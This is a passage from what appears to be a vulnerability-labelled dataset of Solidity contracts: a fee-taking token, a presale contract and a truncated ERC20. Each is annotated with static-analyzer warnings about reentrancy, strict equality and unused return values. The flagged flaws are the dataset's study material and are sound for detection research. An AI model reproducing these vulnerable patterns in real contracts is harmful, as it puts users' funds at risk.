address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 48bc2e5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 48bc2e5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3fc2a3e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3fc2a3e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 48bc2e5\n\t\t// reentrancy-benign | ID: 3fc2a3e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 48bc2e5\n\t\t// reentrancy-benign | ID: 3fc2a3e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 512935d): BONE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 512935d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3fc2a3e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 48bc2e5\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f3ac986): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f3ac986: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: b704ce1): BONE._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for b704ce1: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 905f32a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 905f32a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n\t\t\t// incorrect-equality | ID: b704ce1\n if (block.number == firstBlock) {\n require(_buyCount < 35, \"Exceeds buys on the first block.\");\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: f3ac986\n\t\t\t\t// reentrancy-eth | ID: 905f32a\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: f3ac986\n\t\t\t\t\t// reentrancy-eth | ID: 905f32a\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 905f32a\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 905f32a\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 905f32a\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: f3ac986\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 905f32a\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 905f32a\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: f3ac986\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: f3ac986\n\t\t// reentrancy-events | ID: 48bc2e5\n\t\t// reentrancy-benign | ID: 3fc2a3e\n\t\t// reentrancy-eth | ID: 905f32a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: f3ac986\n\t\t// reentrancy-events | ID: 48bc2e5\n\t\t// reentrancy-eth | ID: 905f32a\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ee19542): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ee19542: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7ee38fb): BONE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 7ee38fb: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3e5abfa): BONE.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 3e5abfa: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 455e88e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 455e88e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: ee19542\n\t\t// reentrancy-eth | ID: 455e88e\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: ee19542\n\t\t// unused-return | ID: 7ee38fb\n\t\t// reentrancy-eth | ID: 455e88e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: ee19542\n\t\t// unused-return | ID: 3e5abfa\n\t\t// reentrancy-eth | ID: 455e88e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: ee19542\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 455e88e\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: ee19542\n firstBlock = block.number;\n }\n\n receive() external payable {}\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n function clearStuckToken(\n address tokenAddress,\n uint256 tokens\n ) external returns (bool success) {\n require(_msgSender() == _taxWallet);\n\n if (tokens == 0) {\n tokens = IERC20(tokenAddress).balanceOf(address(this));\n }\n\n emit ClearToken(tokenAddress, tokens);\n\n return IERC20(tokenAddress).transfer(_taxWallet, tokens);\n }\n\n function manualSend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 ethBalance = address(this).balance;\n\n require(ethBalance > 0, \"Contract balance must be greater than zero\");\n\n sendETHToFee(ethBalance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10555.sol",
"size_bytes": 20594,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract OwnerWithdrawable is Ownable {\n using SafeMath for uint256;\n\n using SafeERC20 for IERC20;\n\n receive() external payable {}\n\n fallback() external payable {}\n\n function withdraw(address token, uint256 amt) public onlyOwner {\n IERC20(token).safeTransfer(msg.sender, amt);\n }\n\n function withdrawAll(address token) public onlyOwner {\n uint256 amt = IERC20(token).balanceOf(address(this));\n\n withdraw(token, amt);\n }\n\n function withdrawCurrency(uint256 amt) public onlyOwner {\n payable(msg.sender).transfer(amt);\n }\n}\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n\n require(isContract(target), \"Address: call to non-contract\");\n\n\t\t// reentrancy-benign | ID: 364a96b\n\t\t// reentrancy-eth | ID: 6a38f33\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) internal view returns (bytes memory) {\n return\n functionStaticCall(\n target,\n data,\n \"Address: low-level static call failed\"\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionDelegateCall(\n target,\n data,\n \"Address: low-level delegate call failed\"\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transfer.selector, to, value)\n );\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transferFrom.selector, from, to, value)\n );\n }\n\n function safeApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.approve.selector, spender, value)\n );\n }\n\n function safeIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 newAllowance = token.allowance(address(this), spender) + value;\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n newAllowance\n )\n );\n }\n\n function safeDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n\n require(\n oldAllowance >= value,\n \"SafeERC20: decreased allowance below zero\"\n );\n\n uint256 newAllowance = oldAllowance - value;\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n newAllowance\n )\n );\n }\n }\n\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n\t\t// reentrancy-benign | ID: 364a96b\n\t\t// reentrancy-eth | ID: 6a38f33\n bytes memory returndata = address(token).functionCall(\n data,\n \"SafeERC20: low-level call failed\"\n );\n\n if (returndata.length > 0) {\n require(\n abi.decode(returndata, (bool)),\n \"SafeERC20: ERC20 operation did not succeed\"\n );\n }\n }\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ShimaSale is OwnerWithdrawable {\n using SafeMath for uint256;\n\n using SafeERC20 for IERC20;\n\n using SafeERC20 for IERC20Metadata;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a64a348): ShimaSale.teamAddress should be immutable \n\t// Recommendation for a64a348: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private teamAddress;\n\n uint256 public rate;\n\n\t// WARNING Optimization Issue (constable-states | ID: 649282b): ShimaSale.saleToken should be constant \n\t// Recommendation for 649282b: Add the 'constant' attribute to state variables that never change.\n address public saleToken;\n\n uint public saleTokenDec;\n\n uint256 public totalTokensforSale;\n\n mapping(address => bool) public payableTokens;\n\n mapping(address => uint256) public tokenPrices;\n\n bool public saleStatus;\n\n address[] public buyers;\n\n mapping(address => BuyerDetails) public buyersDetails;\n\n uint256 public totalBuyers;\n\n uint256 public totalTokensSold;\n\n struct BuyerDetails {\n uint amount;\n bool exists;\n }\n\n struct BuyerAmount {\n uint amount;\n address buyer;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 5db5b13): ShimaSale.constructor(address)._teamAddress lacks a zerocheck on \t teamAddress = _teamAddress\n\t// Recommendation for 5db5b13: Check that the address is not zero.\n constructor(address _teamAddress) {\n saleStatus = false;\n\n\t\t// missing-zero-check | ID: 5db5b13\n teamAddress = _teamAddress;\n }\n\n modifier saleEnabled() {\n require(saleStatus == true, \"Presale: is not enabled\");\n\n _;\n }\n\n modifier saleStoped() {\n require(saleStatus == false, \"Presale: is not stopped\");\n\n _;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ab585be): ShimaSale.setSaleToken(uint256,uint256,uint256,bool) should emit an event for rate = _rate saleTokenDec = _decimals totalTokensforSale = _totalTokensforSale \n\t// Recommendation for ab585be: Emit an event for critical parameter changes.\n function setSaleToken(\n uint256 _decimals,\n uint256 _totalTokensforSale,\n uint256 _rate,\n bool _saleStatus\n ) external onlyOwner {\n require(_rate != 0);\n\n\t\t// events-maths | ID: ab585be\n rate = _rate;\n\n saleStatus = _saleStatus;\n\n\t\t// events-maths | ID: ab585be\n saleTokenDec = _decimals;\n\n\t\t// events-maths | ID: ab585be\n totalTokensforSale = _totalTokensforSale;\n }\n\n function stopSale() external onlyOwner saleEnabled {\n saleStatus = false;\n }\n\n function resumeSale() external onlyOwner saleStoped {\n saleStatus = true;\n }\n\n function addPayableTokens(\n address[] memory _tokens,\n uint256[] memory _prices\n ) external onlyOwner {\n require(\n _tokens.length == _prices.length,\n \"Presale: tokens & prices arrays length mismatch\"\n );\n\n for (uint256 i = 0; i < _tokens.length; i++) {\n require(_prices[i] != 0);\n\n payableTokens[_tokens[i]] = true;\n\n tokenPrices[_tokens[i]] = _prices[i];\n }\n }\n\n function payableTokenStatus(\n address _token,\n bool _status\n ) external onlyOwner {\n require(payableTokens[_token] != _status);\n\n payableTokens[_token] = _status;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 10b8c16): ShimaSale.updateTokenRate(address[],uint256[],uint256) should emit an event for rate = _rate \n\t// Recommendation for 10b8c16: Emit an event for critical parameter changes.\n function updateTokenRate(\n address[] memory _tokens,\n uint256[] memory _prices,\n uint256 _rate\n ) external onlyOwner {\n require(\n _tokens.length == _prices.length,\n \"Presale: tokens & prices arrays length mismatch\"\n );\n\n if (_rate != 0) {\n\t\t\t// events-maths | ID: 10b8c16\n rate = _rate;\n }\n\n for (uint256 i = 0; i < _tokens.length; i += 1) {\n require(payableTokens[_tokens[i]] == true);\n\n require(_prices[i] != 0);\n\n tokenPrices[_tokens[i]] = _prices[i];\n }\n }\n\n function getTokenAmount(\n address token,\n uint256 amount\n ) public view returns (uint256) {\n uint256 amtOut;\n\n if (token != address(0)) {\n require(payableTokens[token] == true, \"Presale: Token not allowed\");\n\n uint256 price = tokenPrices[token];\n\n amtOut = amount.mul(10 ** saleTokenDec).div(price);\n } else {\n amtOut = amount.mul(10 ** saleTokenDec).div(rate);\n }\n\n return amtOut;\n }\n\n function transferETH() private {\n uint256 teamAmount = msg.value.mul(30).div(100);\n\n\t\t// reentrancy-eth | ID: 6a38f33\n payable(teamAddress).transfer(teamAmount);\n\n\t\t// reentrancy-eth | ID: 6a38f33\n payable(owner()).transfer(msg.value.sub(teamAmount));\n }\n\n function transferToken(address _token, uint256 _amount) private {\n uint256 teamAmount = _amount.mul(30).div(100);\n\n\t\t// reentrancy-benign | ID: 364a96b\n\t\t// reentrancy-eth | ID: 6a38f33\n IERC20(_token).safeTransferFrom(msg.sender, teamAddress, teamAmount);\n\n\t\t// reentrancy-benign | ID: 364a96b\n\t\t// reentrancy-eth | ID: 6a38f33\n IERC20(_token).safeTransferFrom(\n msg.sender,\n owner(),\n _amount.sub(teamAmount)\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 364a96b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 364a96b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6a38f33): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6a38f33: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function buyToken(\n address _token,\n uint256 _amount\n ) external payable saleEnabled {\n uint256 saleTokenAmt = _token != address(0)\n ? getTokenAmount(_token, _amount)\n : getTokenAmount(address(0), msg.value);\n\n require(saleTokenAmt != 0, \"Presale: Amount is 0\");\n\n require(\n (totalTokensSold + saleTokenAmt) < totalTokensforSale,\n \"Presale: Not enough tokens to be sale\"\n );\n\n if (_token != address(0)) {\n\t\t\t// reentrancy-benign | ID: 364a96b\n\t\t\t// reentrancy-eth | ID: 6a38f33\n transferToken(_token, _amount);\n } else {\n\t\t\t// reentrancy-eth | ID: 6a38f33\n transferETH();\n }\n\n\t\t// reentrancy-eth | ID: 6a38f33\n totalTokensSold += saleTokenAmt;\n\n if (!buyersDetails[msg.sender].exists) {\n\t\t\t// reentrancy-benign | ID: 364a96b\n buyers.push(msg.sender);\n\n\t\t\t// reentrancy-benign | ID: 364a96b\n buyersDetails[msg.sender].exists = true;\n\n\t\t\t// reentrancy-benign | ID: 364a96b\n totalBuyers += 1;\n }\n\n\t\t// reentrancy-benign | ID: 364a96b\n buyersDetails[msg.sender].amount += saleTokenAmt;\n }\n\n function buyersAmountList(\n uint _from,\n uint _to\n ) external view returns (BuyerAmount[] memory) {\n require(_from < _to, \"Presale: _from should be less than _to\");\n\n uint to = _to > totalBuyers ? totalBuyers : _to;\n\n uint from = _from > totalBuyers ? totalBuyers : _from;\n\n BuyerAmount[] memory buyersAmt = new BuyerAmount[](to - from);\n\n for (uint i = from; i < to; i += 1) {\n buyersAmt[i].amount = buyersDetails[buyers[i]].amount;\n\n buyersAmt[i].buyer = buyers[i];\n }\n\n return buyersAmt;\n }\n}\n",
"file_name": "solidity_code_10556.sol",
"size_bytes": 19900,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n address internal _previousOwner;\n\n event OwnershipTransferrred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function TransfeerrOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n _previousOwner = oldOwner;\n\n emit OwnershipTransferrred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _totalSupply = totalSupply_;\n\n _balances[msg.sender] = totalSupply_;\n\n emit Transfer(address(0), msg.sender, totalSupply_);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n 